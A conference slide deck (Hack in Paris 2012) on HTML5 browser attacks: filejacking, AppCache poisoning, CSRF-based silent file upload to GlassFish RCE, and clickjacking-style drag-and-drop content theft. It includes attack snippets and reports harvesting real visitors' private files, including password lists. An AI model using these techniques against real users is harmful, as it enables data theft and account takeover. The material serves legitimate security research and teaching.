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Html5: Something wicked this way comes (Hack in Paris)


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The talk given in Hack In Paris 2012 conference

Published in: Technology, Design
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Html5: Something wicked this way comes (Hack in Paris)

  1. H TML5 Krzysztof Kotowicz, SecuRing @kkotowicz
  2. Meet Bob 2
  3. Meet Bob #1 Bob is a CSO of #1b Bob has interesting stuff #2 I don’t like Bob #3 I want to pwn Bob 3
  4. Bob’s pwnage stage #1• Bob has a hobby - e.g. hacking• He has cool file://s• I want to get them!• He’s not THAT stupid to run EXE, SCR etc.• Use filejacking! 4
  5. Filejacking• HTML5 directory upload (Chrome only) <input type=file directory>• displays this ====>• JS gets read access to all files within chosen folder 5
  6. Filejacking Business plan• set up tempting webpage• overlay input (CSS) with• wait for Bob• get files & upload them to your server 6
  7. Filejacking 7
  8. Filejacking 8
  9. Filejacking• I’ve tried this IRL• How clueless users actually are? • running for ~13 mo • very limited exposure • only websec oriented visitors• 298 clients connected (217 IPs)• tons of interesting files 9
  10. Filejacking LOTS of these ------>• Downloads/#• Downloads/#• BratSluts 11 12 04 Sasha Cane Red Tartan SchoolGirl XXX 720p WMV SEXORS.nzb• bitches/1300563524557.jpg• Flowchart-Fap-To-It.jpg 10
  11. Filejacking• websec staff!• but surely no private data? 11
  12. Filejacking• Wireless Assess points.txt• interesting network next to me.txt• onlinePasswords.txt• s/pw.txt• letter of authorization.pdf• Staff-<name,surname>.pdf• <name,surname> - resume.doc•• but surely no clients data? 12
  13. Filejacking• sony reports/ • Faktura_numer_26_2011_ <company>.pdf• SecurityQA.SQL.Injection. • websec cred~ Results.v1.1.docx •• SSOCrawlTest5.4.097.xml • !important - questions for• IPS CDE Wireless Audit- web developers.docx January 2011-1 0.docx • sslstrip.log~• IPS Wireless Testing • ##### Paros Log.txt Schedule April 2011.xls• 01-####### Corporation (Security Unarmed So much for NDAs... Guard).xls 13
  14. Filejacking+ All your file are belong to me+ Trivial to set up+ Filter files by e.g. extension, size etc.- Chrome only- Requires users prone to social- engineering 14
  15. Bob’s pwnage stage #2• Bob travels a lot & loves Facebook• I want to control Bob’s FB account • even when he changes the password in a month• I want to fingerprint Bob’s intranet• Use rogue access point & AppCache poisoning! 15
  16. AppCache poisoning HTML5 Offline Web Applications <html manifest=cache.manifest>• cache.manifest lists URLs to cache• cache expires only when CACHE MANIFEST index.html manifest is changed stylesheet.css images/logo.png scripts/main.js 16
  17. AppCache poisoning Poison Wait Profit AppCache for Bob 17
  18. AppCache poisoning• DEMO• Quirks used: • manifest must be MIME text/cache-manifest • Chrome fills AppCache without user confirmation 18
  19. AppCache poisoning• tamper http://victim/ <html manifest=/robots.txt> <script>evil()</script>• tamper http://victim/robots.txt CACHE MANIFEST CACHE: http://victim/ NETWORK: * 19
  20. AppCache poisoning Later on, after m-i-t-m:1. http://victim/ fetched from AppCache2. browser checks for new manifest GET /robots.txt3. receives text/plain robots.txt & ignores it4. tainted AppCache is still used 20
  21. AppCache poisoning+ Poison any URL+ Payload stays until manually removed- Chrome or Firefox with user interaction- Needs active man-in-the-middle to inject 21
  22. Bob’s pwnage stage #3• Bob loves sharing photos (Flickr?)• I want to replace Bob as CSO• What if Bob uploaded some discrediting files?• Try silent file upload 22
  23. Silent file upload• File upload purely in Javascript• Emulates <input type=file> with: • any file name • any file content• File constructed in Javascript (it’s not a real file!)• Uses Cross Origin Resource Sharing 23
  24. Silent file upload• Cross Origin Resource Sharing = cross domain AJAX xhr = new XMLHttpRequest();"POST", "http://victim", true);xhr.setRequestHeader("Content-Type", "text/plain");xhr.withCredentials = "true"; // send cookiesxhr.send("Anything I want"); 24
  25. Silent file upload• raw multipart/form-data requestfunction fileUpload(url, fileData, fileName) {   var boundary = "xxxxxxxxx",     xhr = new XMLHttpRequest();"POST", url, true);   xhr.withCredentials = "true";   xhr.setRequestHeader("Content-Type", "multipart/form-data,boundary="+boundary); 25
  26. Silent file uploadvar b = "--" + boundary + rnContent-Disposition: form-data; name="contents"; filename=" + fileName + "rnContent-Type: application/octet-streamrnrn + fileData + rn-- + boundary + --;xhr.setRequestHeader("Content-Length", b.length);xhr.send(b); 26
  27. Silent file upload+ No user interaction+ Works in most browsers+ You can add more form fields- CSRF flaw needed- No access to response 27
  28. Silent file upload DEMO 28
  29. Silent file upload• GlassFish Enterprise Server 3.1. • CVE 2012-0550 by Roberto Suggi Liverani• // logUrl = http://glassfishserver/ management/domain/applications/ application; fileUpload(c,"maliciousarchive.war");• logged admin + CSRF = RCE 29
  30. Same origin policy• makes web (relatively) safe • restricts cross-origin communication• can be relaxed though • crossdomain.xml • document.domain • HTML5 Cross Origin Resource Sharing• or ignored... • UI redressing 30
  31. UI Redressing? Jedi mind tricks on victim users 31
  32. UI Redressing • This is not the page you’re looking at • This is not the thing you’re clicking • .................................................. dragging • .................................................. typing • .................................................. copying • Victims attack the applications for us 32
  33. Clickjacking? 33
  34. Bob’s pwnage stage #4• Bob likes online games• I found a vulnerable website used by Bob• Bob would have to type the payload himself :-(• Make Bob play a game! 34
  35. Drag into• Put attackers content into victim form Demo 35
  36. Drag into+ Inject arbitrary content+ Trigger self-XSS- Firefox only (will die soon!)- X-Frame-Options 36
  37. Bob’s pwnage stage #5• Bob has access to internal HR application• I want to know his salary• Make Bob play a game (again)! 37
  38. Drag out content extraction image image 38
  39. Drag out content extraction image victim <iframe> image 39
  40. Drag out content extraction image victim <iframe> textarea <textarea> 40
  41. Drag out content extraction<div id=game style="position:relative">   <img style="position:absolute;..." src="paper.png" />  <img style="position:absolute;..." src="trash.png" />      <iframe scrolling=no id=iframe style="position:absolute;opacity:0;..."> </iframe>   <textarea style="position:absolute; opacity:0;..." id=dropper></textarea></div> 41
  42. Drag out content extraction 42
  43. Drag out content extraction 43
  44. Drag out content extraction Demo . 44
  45. Drag out content extraction+ Access sensitive content cross domain- Firefox only (will die soon!)- X-Frame-Options 45
  46. Summary• HTML5 is attacker’s friend too!• Don’t get framed• Users based pwnage FTW Developers: Use X-Frame-Options: DENY 46
  47. Wake up, I’m done!••••• Twitter: @kkotowicz Thanks @0x6D6172696F, @garethheyes, @theKos, @7a_, @lavakumark, @malerisch, @skeptic_fx, .... 47